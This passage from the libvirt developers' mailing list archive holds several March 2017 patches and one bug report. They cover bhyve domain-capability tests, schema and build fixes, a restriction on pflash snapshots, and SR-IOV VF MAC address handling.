caps->os.loader.values.nvalues, 2) < 0) + if (VIR_RESIZE_N(firmwares->values, + firmwares_alloc, firmwares->nvalues, 1) < 0) goto cleanup; if (virAsprintf( - &caps->os.loader.values.values[caps->os.loader.values.nvalues], + &firmwares->values[firmwares->nvalues], "%s/%s", firmware_dir, entry->d_name) < 0) goto cleanup; - caps->os.loader.values.nvalues++; + firmwares->nvalues++; } } else { VIR_WARN("Cannot open firmware directory %s", firmware_dir); } - caps->disk.supported = true; - VIR_DOMAIN_CAPS_ENUM_SET(caps->disk.diskDevice, - VIR_DOMAIN_DISK_DEVICE_DISK, - VIR_DOMAIN_DISK_DEVICE_CDROM); - - VIR_DOMAIN_CAPS_ENUM_SET(caps->disk.bus, - VIR_DOMAIN_DISK_BUS_SATA, - VIR_DOMAIN_DISK_BUS_VIRTIO); + if (virBhyveDomainCapsFill(caps, bhyve_caps, firmwares) < 0) + goto cleanup; - if (bhyve_caps & BHYVE_CAP_FBUF) { - caps->graphics.supported = true; - caps->video.supported = true; - VIR_DOMAIN_CAPS_ENUM_SET(caps->graphics.type, VIR_DOMAIN_GRAPHICS_TYPE_VNC); - VIR_DOMAIN_CAPS_ENUM_SET(caps->video.modelType, VIR_DOMAIN_VIDEO_TYPE_GOP); - } cleanup: + VIR_FREE(firmwares); VIR_DIR_CLOSE(dir); virObjectUnref(cfg); return caps; diff --git a/src/bhyve/bhyve_capabilities.h b/src/bhyve/bhyve_capabilities.h index 3db4f1b88..194061fde 100644 --- a/src/bhyve/bhyve_capabilities.h +++ b/src/bhyve/bhyve_capabilities.h @@ -28,6 +28,9 @@ # include "bhyve_utils.h" virCapsPtr virBhyveCapsBuild(void); +int virBhyveDomainCapsFill(virDomainCapsPtr caps, + unsigned int bhyvecaps, + virDomainCapsStringValuesPtr firmwares); virDomainCapsPtr virBhyveDomainCapsBuild(bhyveConnPtr, const char *emulatorbin, const char *machine, diff --git a/tests/Makefile.am b/tests/Makefile.am index af69a3a84..d4eedaf17 100644 --- a/tests/Makefile.am +++ b/tests/Makefile.am @@ -964,6 +964,10 @@ domaincapstest_SOURCES += testutilsxen.c testutilsxen.h domaincapstest_LDADD += ../src/libvirt_driver_libxl_impl.la $(GNULIB_LIBS) endif WITH_LIBXL +if WITH_BHYVE +domaincapstest_LDADD += ../src/libvirt_driver_bhyve_impl.la $(GNULIB_LIBS) +endif WITH_BHYVE + virnetmessagetest_SOURCES = \ virnetmessagetest.c testutils.h testutils.c virnetmessagetest_CFLAGS = $(XDR_CFLAGS) $(AM_CFLAGS) diff --git a/tests/domaincapsschemadata/bhyve_basic.x86_64.xml b/tests/domaincapsschemadata/bhyve_basic.x86_64.xml new file mode 100644 index 000000000..f6dfabed2 --- /dev/null +++ b/tests/domaincapsschemadata/bhyve_basic.x86_64.xml @@ -0,0 +1,32 @@ +<domainCapabilities> + <path>/usr/sbin/bhyve</path> + <domain>bhyve</domain> + <machine>(null)</machine> + <arch>x86_64</arch> + <os supported='yes'> + <loader supported='no'/> + </os> + <cpu> + <mode name='host-passthrough' supported='no'/> + <mode name='host-model' supported='no'/> + <mode name='custom' supported='no'/> + </cpu> + <devices> + <disk supported='yes'> + <enum name='diskDevice'> + <value>disk</value> + <value>cdrom</value> + </enum> + <enum name='bus'> + <value>virtio</value> + <value>sata</value> + </enum> + </disk> + <graphics supported='no'/> + <video supported='no'/> + <hostdev supported='no'/> + </devices> + <features> + <gic supported='no'/> + </features> +</domainCapabilities> diff --git a/tests/domaincapsschemadata/bhyve_fbuf.x86_64.xml b/tests/domaincapsschemadata/bhyve_fbuf.x86_64.xml new file mode 100644 index 000000000..6fec72c89 --- /dev/null +++ b/tests/domaincapsschemadata/bhyve_fbuf.x86_64.xml @@ -0,0 +1,49 @@ +<domainCapabilities> + <path>/usr/sbin/bhyve</path> + <domain>bhyve</domain> + <machine>(null)</machine> + <arch>x86_64</arch> + <os supported='yes'> + <loader supported='yes'> + <value>/foo/bar</value> + <value>/foo/baz</value> + <enum name='type'> + <value>pflash</value> + </enum> + <enum name='readonly'> + <value>yes</value> + </enum> + </loader> + </os> + <cpu> + <mode name='host-passthrough' supported='no'/> + <mode name='host-model' supported='no'/> + <mode name='custom' supported='no'/> + </cpu> + <devices> + <disk supported='yes'> + <enum name='diskDevice'> + <value>disk</value> + <value>cdrom</value> + </enum> + <enum name='bus'> + <value>virtio</value> + <value>sata</value> + </enum> + </disk> + <graphics supported='yes'> + <enum name='type'> + <value>vnc</value> + </enum> + </graphics> + <video supported='yes'> + <enum name='modelType'> + <value>gop</value> + </enum> + </video> + <hostdev supported='no'/> + </devices> + <features> + <gic supported='no'/> + </features> +</domainCapabilities> diff --git a/tests/domaincapsschemadata/bhyve_uefi.x86_64.xml b/tests/domaincapsschemadata/bhyve_uefi.x86_64.xml new file mode 100644 index 000000000..c0b5c161b --- /dev/null +++ b/tests/domaincapsschemadata/bhyve_uefi.x86_64.xml @@ -0,0 +1,41 @@ +<domainCapabilities> + <path>/usr/sbin/bhyve</path> + <domain>bhyve</domain> + <machine>(null)</machine> + <arch>x86_64</arch> + <os supported='yes'> + <loader supported='yes'> + <value>/foo/bar</value> + <value>/foo/baz</value> + <enum name='type'> + <value>pflash</value> + </enum> + <enum name='readonly'> + <value>yes</value> + </enum> + </loader> + </os> + <cpu> + <mode name='host-passthrough' supported='no'/> + <mode name='host-model' supported='no'/> + <mode name='custom' supported='no'/> + </cpu> + <devices> + <disk supported='yes'> + <enum name='diskDevice'> + <value>disk</value> + <value>cdrom</value> + </enum> + <enum name='bus'> + <value>virtio</value> + <value>sata</value> + </enum> + </disk> + <graphics supported='no'/> + <video supported='no'/> + <hostdev supported='no'/> + </devices> + <features> + <gic supported='no'/> + </features> +</domainCapabilities> diff --git a/tests/domaincapstest.c b/tests/domaincapstest.c index a4bc8d6d0..c61a5c05f 100644 --- a/tests/domaincapstest.c +++ b/tests/domaincapstest.c @@ -273,12 +273,37 @@ fillXenCaps(virDomainCapsPtr domCaps) } #endif /* WITH_LIBXL */ +#ifdef WITH_BHYVE +# include "bhyve/bhyve_capabilities.h" + +static int +fillBhyveCaps(virDomainCapsPtr domCaps, unsigned int *bhyve_caps) +{ + virDomainCapsStringValuesPtr firmwares = NULL; + int ret = -1; + + if (VIR_ALLOC(firmwares) < 0) + return -1; + + if (fillStringValues(firmwares, "/foo/bar", "/foo/baz", NULL) < 0) + goto cleanup; + + if (virBhyveDomainCapsFill(domCaps, *bhyve_caps, firmwares) < 0) + goto cleanup; + + ret = 0; + cleanup: + VIR_FREE(firmwares); + return ret; +} +#endif /* WITH_BHYVE */ enum testCapsType { CAPS_NONE, CAPS_ALL, CAPS_QEMU, CAPS_LIBXL, + CAPS_BHYVE, }; struct testData { @@ -333,6 +358,12 @@ test_virDomainCapsFormat(const void *opaque) goto cleanup; #endif break; + case CAPS_BHYVE: +#if WITH_BHYVE + if (fillBhyveCaps(domCaps, data->capsOpaque) < 0) + goto cleanup; +#endif + break; } if (!(domCapsXML = virDomainCapsFormat(domCaps))) @@ -354,6 +385,10 @@ mymain(void) { int ret = 0; +#if WITH_BHYVE + unsigned int bhyve_caps = 0; +#endif + #if WITH_QEMU virQEMUDriverConfigPtr cfg = virQEMUDriverConfigNew(false); @@ -419,6 +454,26 @@ mymain(void) DO_TEST("full", "/bin/emulatorbin", "my-machine-type", "x86_64", VIR_DOMAIN_VIRT_KVM, CAPS_ALL); +#define DO_TEST_BHYVE(Name, Emulator, BhyveCaps, Type) \ + do { \ + char *name = NULL; \ + if (virAsprintf(&name, "bhyve_%s.x86_64", Name) < 0) { \ + ret = -1; \ + break; \ + } \ + struct testData data = { \ + .name = name, \ + .emulator = Emulator, \ + .arch = "x86_64", \ + .type = Type, \ + .capsType = CAPS_BHYVE, \ + .capsOpaque = BhyveCaps, \ + }; \ + if (virTestRun(name, test_virDomainCapsFormat, &data) < 0) \ + ret = -1; \ + VIR_FREE(name); \ + } while (0) + #if WITH_QEMU DO_TEST_QEMU("1.7.0", "caps_1.7.0", @@ -488,6 +543,16 @@ mymain(void) #endif /* WITH_LIBXL */ +#if WITH_BHYVE + DO_TEST_BHYVE("basic", "/usr/sbin/bhyve", &bhyve_caps, VIR_DOMAIN_VIRT_BHYVE); + + bhyve_caps |= BHYVE_CAP_LPC_BOOTROM; + DO_TEST_BHYVE("uefi", "/usr/sbin/bhyve", &bhyve_caps, VIR_DOMAIN_VIRT_BHYVE); + + bhyve_caps |= BHYVE_CAP_FBUF; + DO_TEST_BHYVE("fbuf", "/usr/sbin/bhyve", &bhyve_caps, VIR_DOMAIN_VIRT_BHYVE); +#endif /* WITH_BHYVE */ + return ret; } -- 2.11.0

2 2

[libvirt] [PATCH] domain_capabilities: Don't report machine type for bhyve
by Michal Privoznik 26 Mar '17

26 Mar '17

For some drivers the domain's machine type makes no sense. They just don't use it. A great example is bhyve driver. Therefore it makes very less sense to report machine in domain capabilities XML. Signed-off-by: Michal Privoznik <mprivozn(a)redhat.com> --- docs/formatdomaincaps.html.in | 3 ++- src/conf/domain_capabilities.c | 3 ++- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/formatdomaincaps.html.in b/docs/formatdomaincaps.html.in index 648e3d481..007cab62d 100644 --- a/docs/formatdomaincaps.html.in +++ b/docs/formatdomaincaps.html.in @@ -70,7 +70,8 @@ <dt><code>machine</code></dt> <dd>The domain's <a href="formatdomain.html#elementsOSBIOS">machine - type</a>.</dd> + type</a>. Since not every hypervisor has a sense of machine types + this element might be omitted in such drivers.</dd> <dt><code>arch</code></dt> <dd>The domain's <a href="formatdomain.html#elementsOSBIOS"> diff --git a/src/conf/domain_capabilities.c b/src/conf/domain_capabilities.c index bb6742359..7a3d2e6fb 100644 --- a/src/conf/domain_capabilities.c +++ b/src/conf/domain_capabilities.c @@ -527,7 +527,8 @@ virDomainCapsFormatInternal(virBufferPtr buf, virBufferEscapeString(buf, "<path>%s</path>\n", caps->path); virBufferAsprintf(buf, "<domain>%s</domain>\n", virttype_str); - virBufferAsprintf(buf, "<machine>%s</machine>\n", caps->machine); + if (caps->machine) + virBufferAsprintf(buf, "<machine>%s</machine>\n", caps->machine); virBufferAsprintf(buf, "<arch>%s</arch>\n", arch_str); if (caps->maxvcpus) -- 2.11.0

2 5

[libvirt] [PATCH] schema: domaincaps: make machine element optional
by Roman Bogorodskiy 26 Mar '17

26 Mar '17

Commit df769041c made the 'machine' element in domaincaps optional. Update the schema to reflect that. --- Pushed as trivial as per https://www.redhat.com/archives/libvir-list/2017-March/msg01239.html docs/schemas/domaincaps.rng | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/docs/schemas/domaincaps.rng b/docs/schemas/domaincaps.rng index 20cbc4e94..39053181e 100644 --- a/docs/schemas/domaincaps.rng +++ b/docs/schemas/domaincaps.rng @@ -17,9 +17,11 @@ <element name='domain'> <text/> </element> - <element name='machine'> - <text/> - </element> + <optional> + <element name='machine'> + <text/> + </element> + </optional> <element name='arch'> <text/> </element> -- 2.11.0

1 0

[libvirt] [PATCH] qemu: fix build with clang
by Roman Bogorodskiy 26 Mar '17

26 Mar '17

qemuMigrationResetTLS() does not initialize 'ret' by default, so when it jumps to 'cleanup' on error, the 'ret' variable will be uninitialized, which clang complains about. Set it to '-1' by default. --- Pushed under the build-breaker rule. src/qemu/qemu_migration.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/qemu/qemu_migration.c b/src/qemu/qemu_migration.c index d91279ec6..a69e8784a 100644 --- a/src/qemu/qemu_migration.c +++ b/src/qemu/qemu_migration.c @@ -3815,7 +3815,7 @@ qemuMigrationResetTLS(virQEMUDriverPtr driver, char *tlsAlias = in_tlsAlias; char *secAlias = in_secAlias; qemuMonitorMigrationParams migParams = { 0 }; - int ret; + int ret = -1; /* If coming from a path that doesn't know whether it's been used or not, * let's first check we need to do this. If the tls-creds doesn't exist -- 2.11.0

1 0

[libvirt] [PATCH libvirt-glib] examples: make detail strings match event details
by Guido Günther 25 Mar '17

25 Mar '17

--- examples/event-test.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/event-test.c b/examples/event-test.c index 7c9f4ec..a204485 100644 --- a/examples/event-test.c +++ b/examples/event-test.c @@ -78,7 +78,7 @@ static const char *eventDetailToString(int event, int detail) { break; case VIR_DOMAIN_EVENT_SUSPENDED: if (detail == VIR_DOMAIN_EVENT_SUSPENDED_PAUSED) - ret = "Unpaused"; + ret = "Paused"; else if (detail == VIR_DOMAIN_EVENT_SUSPENDED_MIGRATED) ret = "Migrated"; break; @@ -103,7 +103,7 @@ static const char *eventDetailToString(int event, int detail) { ret = "Migrated"; break; case VIR_DOMAIN_EVENT_STOPPED_SAVED: - ret = "Failed"; + ret = "Saved"; break; case VIR_DOMAIN_EVENT_STOPPED_FAILED: ret = "Failed"; -- 2.11.0

2 2

[libvirt] [PATCH] util: fix build on non-Linux
by Roman Bogorodskiy 25 Mar '17

25 Mar '17

Fix typo in virNetDevPFGetVF() stub: ATTRUBUTE_UNUSED -> ATTRIBUTE_UNUSED. While here, use common indent style for arguments in virNetDevGetVirtualFunctionIndex() stub. --- Pushed under the build-breaker rule. src/util/virnetdev.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/src/util/virnetdev.c b/src/util/virnetdev.c index b9e9cbe54..93a931912 100644 --- a/src/util/virnetdev.c +++ b/src/util/virnetdev.c @@ -1493,8 +1493,8 @@ virNetDevIsVirtualFunction(const char *ifname ATTRIBUTE_UNUSED) int virNetDevGetVirtualFunctionIndex(const char *pfname ATTRIBUTE_UNUSED, - const char *vfname ATTRIBUTE_UNUSED, - int *vf_index ATTRIBUTE_UNUSED) + const char *vfname ATTRIBUTE_UNUSED, + int *vf_index ATTRIBUTE_UNUSED) { virReportSystemError(ENOSYS, "%s", _("Unable to get virtual function index on this platform")); @@ -1513,7 +1513,7 @@ virNetDevGetPhysicalFunction(const char *ifname ATTRIBUTE_UNUSED, int virNetDevPFGetVF(const char *pfname ATTRIBUTE_UNUSED, int vf ATTRIBUTE_UNUSED, - char **vfname ATTRUBUTE_UNUSED) + char **vfname ATTRIBUTE_UNUSED) { virReportSystemError(ENOSYS, "%s", _("Unable to get virtual function name on this platform")); -- 2.11.0

2 1

[libvirt] [PATCH] Coverity fix for virNetDevIPCheckIPv6ForwardingCallback
by Cédric Bosdonnat 25 Mar '17

25 Mar '17

Add check for more than one RTA_OIF, even though this is rather unlikely and get rid of the buggy switch / break. --- src/util/virnetdevip.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/util/virnetdevip.c b/src/util/virnetdevip.c index c9ac6baf7..f5662413a 100644 --- a/src/util/virnetdevip.c +++ b/src/util/virnetdevip.c @@ -556,15 +556,17 @@ virNetDevIPCheckIPv6ForwardingCallback(const struct nlmsghdr *resp, if (resp->nlmsg_type != RTM_NEWROUTE) return ret; - /* Extract a few attributes */ + /* Extract a device ID attribute */ for (rta = RTM_RTA(rtmsg); RTA_OK(rta, len); rta = RTA_NEXT(rta, len)) { - switch (rta->rta_type) { - case RTA_OIF: + if (rta->rta_type == RTA_OIF) { oif = *(int *)RTA_DATA(rta); + /* Should never happen: netlink message would be broken */ + if (ifname) + goto error; + if (!(ifname = virNetDevGetName(oif))) goto error; - break; } } -- 2.12.0

3 2

[libvirt] [PATCH] virpci: fix build on non-Linux
by Roman Bogorodskiy 25 Mar '17

25 Mar '17

virPCIGetDeviceAddressFromSysfsLink() should return virPCIDeviceAddressPtr, so return NULL in the stub instead of "-1". --- Pushed under the build-breaker rule. src/util/virpci.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/util/virpci.c b/src/util/virpci.c index 546aeb550..65c108f2e 100644 --- a/src/util/virpci.c +++ b/src/util/virpci.c @@ -2945,7 +2945,7 @@ virPCIDeviceAddressPtr virPCIGetDeviceAddressFromSysfsLink(const char *device_link ATTRIBUTE_UNUSED) { virReportError(VIR_ERR_INTERNAL_ERROR, "%s", _(unsupported)); - return -1; + return NULL; } -- 2.11.0

1 0

[libvirt] ARMv7 guest PCI support broken in 3.0.0 onwards
by Daniel P. Berrange 24 Mar '17

24 Mar '17

$ cat arm.xml <domain type="qemu"> <name>f22-arm32</name> <uuid>a6bc14fb-585b-40b0-a15b-5e19f26079ba</uuid> <memory>1048576</memory> <currentMemory>1048576</currentMemory> <vcpu>1</vcpu> <os> <type arch="armv7l" machine="virt">hvm</type> <boot dev="hd"/> </os> <clock offset="utc"/> <on_poweroff>destroy</on_poweroff> <on_reboot>restart</on_reboot> <on_crash>restart</on_crash> <devices> <emulator>/usr/bin/qemu-system-arm</emulator> <disk type="file" device="disk"> <driver name="qemu" type="qcow2"/> <source file="/home/berrange/VirtualMachines/demo.qcow2"/> <target dev="sda" bus="scsi"/> </disk> <controller type="scsi" index="0" model="virtio-scsi"/> <interface type="user"> <mac address="52:54:00:87:d4:c0"/> <model type="virtio"/> </interface> <console type="pty"/> </devices> </domain> $ virsh define arm.xml Domain f22-arm32 defined from arm.xml $ virsh start f22-arm32 error: Failed to start domain f22-arm32 error: internal error: qemu unexpectedly closed the monitor: 2017-02-15T09:24:03.967648Z qemu-system-arm: -device ioh3420,port=0x8,chassis=1,id=pci.1,bus=pcie.0,multifunction=on,addr=0x1: MSI is not supported by interrupt controller 2017-02-15T09:24:03.968154Z qemu-system-arm: -device ioh3420,port=0x8,chassis=1,id=pci.1,bus=pcie.0,multifunction=on,addr=0x1: Device initialization failed I've not bisected it other than to find it works in 2.5.0 and is broken in 3.0.0 Regards, Daniel -- |: http://berrange.com -o- http://www.flickr.com/photos/dberrange/ :| |: http://libvirt.org -o- http://virt-manager.org :| |: http://entangle-photo.org -o- http://search.cpan.org/~danberr/ :|

3 7

[libvirt] [PATCH 0/3] Report block threshold in bulk stats
by Peter Krempa 24 Mar '17

24 Mar '17

This is a follow up to: https://www.redhat.com/archives/libvir-list/2017-March/msg00650.html so that management apps can query the current value. The series needs to be applied on top of the block threshold series. For convenience I've pushed it to the same remote repository as the original series. You can fetch it here: git fetch git://pipo.sk/pipo/libvirt.git block-threshold-1 Peter Krempa (3): util: json: Make function to free JSON values in virHash universal qemu: block: Add code to fetch block node data by node name qemu: stats: Display the block threshold size in bulk stats src/libvirt-domain.c | 4 ++++ src/libvirt_private.syms | 1 + src/qemu/qemu_block.c | 46 +++++++++++++++++++++++++++++++++++++++ src/qemu/qemu_block.h | 3 +++ src/qemu/qemu_driver.c | 51 +++++++++++++++++++++++++++++++++++++++++--- src/qemu/qemu_monitor_json.c | 10 +-------- src/util/virjson.c | 8 +++++++ src/util/virjson.h | 1 + tools/virsh.pod | 3 +++ 9 files changed, 115 insertions(+), 12 deletions(-) -- 2.12.0

2 8

[libvirt] [PATCH v2] qemu: snapshot: Forbid internal snapshots with pflash firmware
by Peter Krempa 24 Mar '17

24 Mar '17

If the variable store (<nvram>) file is raw qemu can't do a snapshot of it and thus the snapshot would be incomplete. QEMU does no reject such snapshot. Additionally allowing to use a qcow2 variable store backing file would solve this issue but then it would become eligible to become target of the memory dump. Offline internal snapshot would be incomplete too with either storage format since libvirt does not handle the pflash file in this case. Forbid such snapshot so that we can avoid problems. --- Notes: v2: - changed error code to OPERATION_UNSUPPORTED (from CONFIG_UNSUPPORTED) - dropped mention of QEMU from the error message - dropped mentions of OVMF or the firmware itself altoghether, the culprit is the pflash device regardless of the software it contains - mentioned all the stuff in the commit message and comment We also will need to introduce a way to snapshot the pflash for external snapshots which is currently impossible as well, but fortunately does not have inherent drawbacks as internal snapshots. src/qemu/qemu_driver.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/qemu/qemu_driver.c b/src/qemu/qemu_driver.c index 676295208..202d190b3 100644 --- a/src/qemu/qemu_driver.c +++ b/src/qemu/qemu_driver.c @@ -13873,6 +13873,16 @@ qemuDomainSnapshotPrepare(virConnectPtr conn, goto cleanup; } + /* Internal snapshots don't work with VMs with OVMF loader since qemu does + * not snapshot the variable store */ + if (found_internal && + vm->def->os.loader->type == VIR_DOMAIN_LOADER_TYPE_PFLASH) { + virReportError(VIR_ERR_OPERATION_UNSUPPORTED, "%s", + _("internal snapshots of a VM with pflash based " + "firmware are not supported")); + goto cleanup; + } + /* Alter flags to let later users know what we learned. */ if (external && !active) *flags |= VIR_DOMAIN_SNAPSHOT_CREATE_DISK_ONLY; -- 2.12.1

3 10

[libvirt] [PATCH v3 0/3] qemu: Forbid internal snapshots with pflash-based firmware (OVMF)
by Peter Krempa 24 Mar '17

24 Mar '17

Patches 1 and 2 are new in the series and add an option to override the check so that users can use the feature despite being unsafe. See patch 3/3 for clarification of the motiovation to do this. Peter Krempa (3): virerror: Introduce VIR_ERR_OPERATION_UNSAFE snapshot: Introduce flag VIR_DOMAIN_SNAPSHOT_CREATE_UNSAFE qemu: snapshot: Forbid internal snapshots with pflash firmware include/libvirt/libvirt-domain-snapshot.h | 3 +++ include/libvirt/virterror.h | 1 + src/qemu/qemu_driver.c | 18 +++++++++++++++++- src/util/virerror.c | 5 +++++ tools/virsh-snapshot.c | 6 ++++++ tools/virsh.pod | 6 +++++- 6 files changed, 37 insertions(+), 2 deletions(-) -- 2.12.1

1 4

[libvirt] [PATCH] Revert "qemu: forbid migration with an IOMMU device"
by Ján Tomko 24 Mar '17

24 Mar '17

This reverts commit b7118623ad5a8e6ea75d693881c08873eefa3e28. Migration was implemented by QEMU commit: commit 8cdcf3c1e58d04b6811956d7608efeb66c42d719 Author: Peter Xu <peterx(a)redhat.com> Date: Fri Jan 6 12:06:13 2017 +0800 intel_iommu: allow migration https://bugzilla.redhat.com/show_bug.cgi?id=1433994 --- src/qemu/qemu_migration.c | 6 ------ 1 file changed, 6 deletions(-) diff --git a/src/qemu/qemu_migration.c b/src/qemu/qemu_migration.c index 15ed830..f5711bc 100644 --- a/src/qemu/qemu_migration.c +++ b/src/qemu/qemu_migration.c @@ -2359,12 +2359,6 @@ qemuMigrationIsAllowed(virQEMUDriverPtr driver, _("migration with shmem device is not supported")); return false; } - - if (vm->def->iommu) { - virReportError(VIR_ERR_OPERATION_INVALID, "%s", - _("migration with iommu device is not supported")); - return false; - } } return true; -- 2.10.2

2 2

[libvirt] [PATCH] network: only check for IPv6 RA routes when the network has an IPv6 address
by Laine Stump 24 Mar '17

24 Mar '17

commit 00d28a78 added a check to see if there were any IPv6 routes added by RA (Router Advertisement) via an interface that had accept_ra set to something other than "2". The check was being done unconditionally, but it's only relevant if IPv6 forwarding is going to be turned on, and that will only happen if the network has an IPv6 address. --- src/network/bridge_driver.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/network/bridge_driver.c b/src/network/bridge_driver.c index 0336ece..10e8f0e 100644 --- a/src/network/bridge_driver.c +++ b/src/network/bridge_driver.c @@ -2391,10 +2391,9 @@ networkStartNetworkVirtual(virNetworkDriverStatePtr driver, /* If forward.type != NONE, turn on global IP forwarding */ if (network->def->forward.type != VIR_NETWORK_FORWARD_NONE) { - if (!virNetDevIPCheckIPv6Forwarding()) + if (v6present && !virNetDevIPCheckIPv6Forwarding()) goto err3; /* Precise error message already provided */ - if (networkEnableIPForwarding(v4present, v6present) < 0) { virReportSystemError(errno, "%s", _("failed to enable IP forwarding")); -- 2.9.3

2 1

[libvirt] [PATCH 00/19] Fix saving/setting/restoring SR-IOV VF MAC address
by Laine Stump 24 Mar '17

24 Mar '17

There are multiple bugs filed against both libvirt and the kernel related to incorrect restoration of MAC addresses for SR-IOV VFs, both when used via VFIO device assignment and when used for macvtap passthrough mode https://bugzilla.redhat.com/1415609 - libvirt https://bugzilla.redhat.com/1341248 - kernel (igb) https://bugzilla.redhat.com/1415609 - kernel (ixgbe) https://bugzilla.redhat.com/1302166 - kernel (mlx, fixed) Beyond that, there are other problems with incorrect setting and restoration of VF MAC addresses that don't have their own bug reports (although they may be partially described in the comments of the BZes mentioned above). This patch series attempts (and I hope succeeds!) to fix all of these problems, which can be summarized in these three points: * The VF's own MAC address was not being set prior to using it for macvtap passthrough mode. Instead, due to serious misconception on my part, the "admin MAC" for that VF was set in the PF. The problem is that the admin MAC isn't put into use on the VF immediately; rather it is unused until the next time the VF driver is initialized (on either the host or in a guest) so setting it had no practical effect, meaning that the macvtap device's MAC didn't match the MAC of the VF device it was attached to - this meant that traffic wouldn't pass unless the device was in promiscuous mode (and apparently it was back when the code was changed to behave this way?). * The VF's own MAC address was never restored after it had been used (for both VFIO device assignment and for macvtap passthrough mode). Only the "admin MAC" address (which, again, won't take effect until/unless the VF driver is reloaded/reinitialized) was restored. * If the original admin MAC was 00:00:00:00:00:00, libvirt would save that, then attempt to restore it when the guest was finished with the device, but for some/many SRIOV-capable net drivers, an all 0 MAC is not allowed to be set (even though that is its initial value). This would result in the MAC not being changed (of course, since this is the admin MAC, that didn't actually matter, but the combination of the error message and the VF's own MAC still being set to the value used by the guest, users mistakenly believed this was the source of networking problems (e.g. when the guest moved to another host, but the old host still had an interface showing its MAC address). There are lots of details in the patches. 01 - 07 just clean up and slightly modify some existing utility functions. 08 - 11 define some functions to save/restore netdev MAC/vlan settings, and 12-14 change the existing setup/teardown code for macvtap and hostdev to use the new functions, then 15 and 17-19 modify their behavior further, while 16 just removes functions that are no longer used. In the end, the VF's own MAC *and* admin MAC are saved for all SRIOV VFs when we begin using a VF, and the VF's MAC is restored when finished. Since the admin MAC doesn't actually have any immediate practical effect, we don't concern ourselves with assuring it is restored in all cases (in particular, when use use the VF for VFIO assignment, we only restore the VF's MAC, but not the admin MAC during teardown, and when using the VF for macvtap passthrough we avoid restoring the admin MAC because that would unnecessarily turn on the "administratively set" flag in the PF driver (described in the commit log for one of these patches). I might decide to fix the former later, but for now it just unnecessarily complicates the code for no real gain). Laine Stump (19): util: permit querying a VF MAC address or VLAN tag by itself util: remove unused args from virNetDevSetVfConfig() util: use cleanup label consistently in virHostdevNetConfigReplace() util: eliminate useless local variable util: make virMacAddrParse more versatile util: change virPCIGetNetName() to not return error if device has no net name util: make virPCIGetDeviceAddressFromSysfsLink() public util: new function virPCIDeviceRebind() util: new internal function to permit silent failure of virNetDevSetMAC() util: new function virNetDevPFGetVF() util: new functions virNetDev(Save|Read|Set)NetConfig() util: use new virNetDev*NetConfig() functions for macvtap setup/teardown util: use new virNetDev*NetConfig() functions for hostdev setup/teardown util: replace virHostdevNetConfigReplace with ...(Save|Set)NetConfig() util: save hostdev network device config before unbinding from host driver util: after hostdev assignment, restore VF MAC address via setting admin MAC util: remove unused functions from virnetdev.c util: if setting admin MAC to 00:00:00:00:00:00 fails, try 02:00:00:00:00:00 util: try *really* hard to set the MAC address of an SRIOV VF src/libvirt_private.syms | 10 +- src/util/virhostdev.c | 171 ++++++-- src/util/virmacaddr.c | 2 +- src/util/virnetdev.c | 937 +++++++++++++++++++++++++++++++------------- src/util/virnetdev.h | 25 ++ src/util/virnetdevmacvlan.c | 45 ++- src/util/virpci.c | 65 ++- src/util/virpci.h | 4 + 8 files changed, 933 insertions(+), 326 deletions(-) -- 2.9.3

3 36

[libvirt] [PATCH] qemu: Fix typo in __QEMU_CAPSPRIV_H_ALLOW__
by Andrea Bolognani 23 Mar '17

23 Mar '17

--- Pushed as trivial. src/qemu/qemu_capabilities.c | 2 +- src/qemu/qemu_capspriv.h | 2 +- tests/cputest.c | 4 ++-- tests/qemucapabilitiestest.c | 2 +- tests/qemucapsprobe.c | 2 +- tests/qemucpumock.c | 4 ++-- tests/qemuxml2argvtest.c | 4 ++-- tests/testutilsqemu.c | 2 +- 8 files changed, 11 insertions(+), 11 deletions(-) diff --git a/src/qemu/qemu_capabilities.c b/src/qemu/qemu_capabilities.c index 60ed31e..8bd39c7 100644 --- a/src/qemu/qemu_capabilities.c +++ b/src/qemu/qemu_capabilities.c @@ -44,7 +44,7 @@ #include "virstring.h" #include "qemu_hostdev.h" #include "qemu_domain.h" -#define __QEMU_CAPSRIV_H_ALLOW__ +#define __QEMU_CAPSPRIV_H_ALLOW__ #include "qemu_capspriv.h" #include <fcntl.h> diff --git a/src/qemu/qemu_capspriv.h b/src/qemu/qemu_capspriv.h index ee29b8b..61ccd45 100644 --- a/src/qemu/qemu_capspriv.h +++ b/src/qemu/qemu_capspriv.h @@ -21,7 +21,7 @@ * Author: Pavel Fedin <p.fedin(a)samsung.com> */ -#ifndef __QEMU_CAPSRIV_H_ALLOW__ +#ifndef __QEMU_CAPSPRIV_H_ALLOW__ # error "qemu_capspriv.h may only be included by qemu_capabilities.c or test suites" #endif diff --git a/tests/cputest.c b/tests/cputest.c index 5e205c5..917b1a3 100644 --- a/tests/cputest.c +++ b/tests/cputest.c @@ -43,9 +43,9 @@ #if WITH_QEMU && WITH_YAJL # include "testutilsqemu.h" # include "qemumonitortestutils.h" -# define __QEMU_CAPSRIV_H_ALLOW__ +# define __QEMU_CAPSPRIV_H_ALLOW__ # include "qemu/qemu_capspriv.h" -# undef __QEMU_CAPSRIV_H_ALLOW__ +# undef __QEMU_CAPSPRIV_H_ALLOW__ #endif #define VIR_FROM_THIS VIR_FROM_CPU diff --git a/tests/qemucapabilitiestest.c b/tests/qemucapabilitiestest.c index 2152e80..2918ff4 100644 --- a/tests/qemucapabilitiestest.c +++ b/tests/qemucapabilitiestest.c @@ -22,7 +22,7 @@ #include "testutils.h" #include "testutilsqemu.h" #include "qemumonitortestutils.h" -#define __QEMU_CAPSRIV_H_ALLOW__ +#define __QEMU_CAPSPRIV_H_ALLOW__ #include "qemu/qemu_capspriv.h" #define VIR_FROM_THIS VIR_FROM_NONE diff --git a/tests/qemucapsprobe.c b/tests/qemucapsprobe.c index fb9f3e9..561c5d7 100644 --- a/tests/qemucapsprobe.c +++ b/tests/qemucapsprobe.c 